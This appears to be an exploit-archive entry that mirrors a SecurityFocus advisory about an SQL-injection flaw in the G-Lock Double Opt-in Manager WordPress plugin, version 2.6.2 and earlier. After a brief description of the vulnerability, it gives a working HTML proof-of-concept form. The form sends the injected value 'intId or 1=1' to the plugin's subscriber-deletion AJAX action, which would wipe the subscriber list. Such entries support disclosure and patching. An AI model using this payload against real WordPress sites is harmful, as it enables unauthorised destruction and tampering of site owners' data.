16 lines
No EOL
766 B
HTML
16 lines
No EOL
766 B
HTML
source: http://www.securityfocus.com/bid/54767/info
|
|
|
|
G-Lock Double Opt-in Manager plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
|
|
|
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
|
|
|
G-Lock Double Opt-in Manager 2.6.2 and prior versions are vulnerable.
|
|
|
|
<html>
|
|
<form method="post" action="http://server/wp-admin/admin-ajax.php">
|
|
<input type="text" name="action" value="gsom_aj_delete_subscriber">
|
|
<input type="text" name="json" value="["intId or 1=1"]">
|
|
<input type="text" name="_" value="">
|
|
<input type="submit">
|
|
</form>
|
|
</html> |